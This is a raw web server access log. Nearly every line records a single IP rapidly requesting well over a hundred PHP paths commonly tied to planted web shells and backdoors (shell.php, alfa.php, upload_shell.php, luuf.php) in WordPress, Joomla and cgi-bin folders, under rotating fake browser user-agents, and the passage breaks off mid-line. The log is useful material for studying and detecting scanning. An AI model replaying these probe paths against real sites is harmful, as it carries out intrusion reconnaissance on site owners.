146.70.36.126 - - [30/Apr/2025:23:32:01 -0400] "GET /2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:32:02 -0400] "GET /wp-includes/js/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:02 -0400] "GET /wp-admin/admin-ajax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:02 -0400] "GET /components/com_joomdle/assets/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:02 -0400] "GET /cmd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:02 -0400] "GET /upload_shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:03 -0400] "GET /var/www/html/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:03 -0400] "GET /uploads/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:03 -0400] "GET /files/shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:03 -0400] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:03 -0400] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.36.126 - - [30/Apr/2025:23:32:03 -0400] "GET /wp-content/plugins/wp-help/admin/wp-fclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:04 -0400] "GET /bs.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:04 -0400] "GET /update-core.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:04 -0400] "GET /wp-includes/dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:04 -0400] "GET /wp-includes/blocks/site-title/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:32:04 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:05 -0400] "GET /.well-known/acme-challenge/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:05 -0400] "GET /.well-known/pki-validation/2index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:05 -0400] "GET /assets/images/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:32:05 -0400] "GET /alfa-rex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:05 -0400] "GET /adminer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:05 -0400] "GET /wp-content/plugins/ioxi/alfa-ioxi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:06 -0400] "GET /wp-admin/css/colors/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:06 -0400] "GET /wp-admin/user/cloud.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:06 -0400] "GET /htaccess.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:06 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:06 -0400] "GET /.well-known/acme-challenge/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:32:07 -0400] "GET /cgi-bin/cgi-bin/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:07 -0400] "GET /cgi-bin/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:07 -0400] "GET /wp-ncludes/images/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:07 -0400] "GET /.qiodetme.php/goat.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:07 -0400] "GET /wp-content/themes/hello-element/footer.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:07 -0400] "GET /wp-admin/maint/min.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:08 -0400] "GET /wp-admin/includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:08 -0400] "GET /wp-admin/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:08 -0400] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:08 -0400] "GET /wp-content/uploads/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:08 -0400] "GET /wp-includes/wp-widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:08 -0400] "GET /.well-known/pki-validation/sxx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:09 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:09 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:09 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:09 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:32:09 -0400] "GET /saka.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:10 -0400] "GET /wp-content/uploads/2023/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:10 -0400] "GET /marijuana.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:10 -0400] "GET /.well-known/acme-challenge/edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:10 -0400] "GET /wp-content/plugins/Core-EconX/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:10 -0400] "GET /wp-includes/certificates/chosen.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.36.126 - - [30/Apr/2025:23:32:10 -0400] "GET /.well-known/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:11 -0400] "GET /wp-content/uploads/GzyYU.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:11 -0400] "GET /wp-includes/luuf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:11 -0400] "GET /wp-admin/js/widgets/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:32:11 -0400] "GET /wp-admin/network/gzak2w.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:11 -0400] "GET /components/com_jea/views/form/tmpl/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:11 -0400] "GET /test/test.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.36.126 - - [30/Apr/2025:23:32:12 -0400] "GET /wp-content/themes/twentytwentythree/patterns/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.36.126 - - [30/Apr/2025:23:32:12 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:12 -0400] "GET /assets/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:12 -0400] "GET /wp-add.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:12 -0400] "GET /wp-content/uploads/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:12 -0400] "GET /0x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:13 -0400] "GET /.well-known/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:13 -0400] "GET /wp-admin/images/sidebarh.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:13 -0400] "GET /nav-menus.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:13 -0400] "GET /wp-content/plugins/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:13 -0400] "GET /wp-content/plugins/WordPressCore/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:13 -0400] "GET /cgi-bin/plugins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.36.126 - - [30/Apr/2025:23:32:14 -0400] "GET /worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:14 -0400] "GET /.well-known/pki-validation/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:14 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:32:14 -0400] "GET /wp-admin/user/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:14 -0400] "GET /wp-content/plugins/Core-Econ/upH.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:14 -0400] "GET /pegi.PhP8 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:15 -0400] "GET /cgi-bin/mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.36.126 - - [30/Apr/2025:23:32:15 -0400] "GET /wp-includes/blocks/button/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:15 -0400] "GET /wp-content/plugins/apikey/mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:15 -0400] "GET /css/content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.36.126 - - [30/Apr/2025:23:32:15 -0400] "GET /wp-content/uploads/2022/bidlbdgp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:16 -0400] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:16 -0400] "GET /components/lig.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:16 -0400] "GET /wp-content/updates.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:16 -0400] "GET /wp-content/uploads/wpr-addons/forms/b1ack.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:16 -0400] "GET /cgi-bin/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:16 -0400] "GET /.well-known/acme-challenge/atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:17 -0400] "GET /network.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 146.70.36.126 - - [30/Apr/2025:23:32:17 -0400] "GET /wp-admin/network/class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:32:17 -0400] "GET /.well-known/pki-validation/webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:17 -0400] "GET /delpaths.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:17 -0400] "GET /wp-admin/alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:17 -0400] "GET /wp-admin/css/colors/coffee/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:18 -0400] "GET /.well-known/radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:18 -0400] "GET /cgi-bin/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.36.126 - - [30/Apr/2025:23:32:18 -0400] "GET /wp-includes/block-supports/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:18 -0400] "GET /users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:18 -0400] "GET /.well-known/pki-validation/file.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:19 -0400] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:19 -0400] "GET /wp-includes/css/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 18.223.108.59 - - [30/Apr/2025:23:32:19 -0400] "HEAD / HTTP/1.1" 301 0 "-" "python-requests/2.32.3" 146.70.36.126 - - [30/Apr/2025:23:32:19 -0400] "GET /wp-includes/themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:19 -0400] "GET /wp-admin/images/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.36.126 - - [30/Apr/2025:23:32:19 -0400] "GET /wp-includes/SimplePie/Cache/index.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.36.126 - - [30/Apr/2025:23:32:19 -0400] "GET /widgets.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:20 -0400] "GET /cgi-bin/xdrwxeax.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:20 -0400] "GET /wp-includes/mani.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:20 -0400] "GET /.well-known/pki-validation/ssl.php?xsec=blocker HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:20 -0400] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:20 -0400] "GET /.well-known/acme-challenge/license.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.36.126 - - [30/Apr/2025:23:32:20 -0400] "GET /wp-admin/network/index.php4 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:21 -0400] "GET /ova.php4https:/worldbdsm.net/moon.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.36.126 - - [30/Apr/2025:23:32:21 -0400] "GET /css/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.36.126 - - [30/Apr/2025:23:32:21 -0400] "GET /.well-known/pki-validation/wp-sigunq.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) 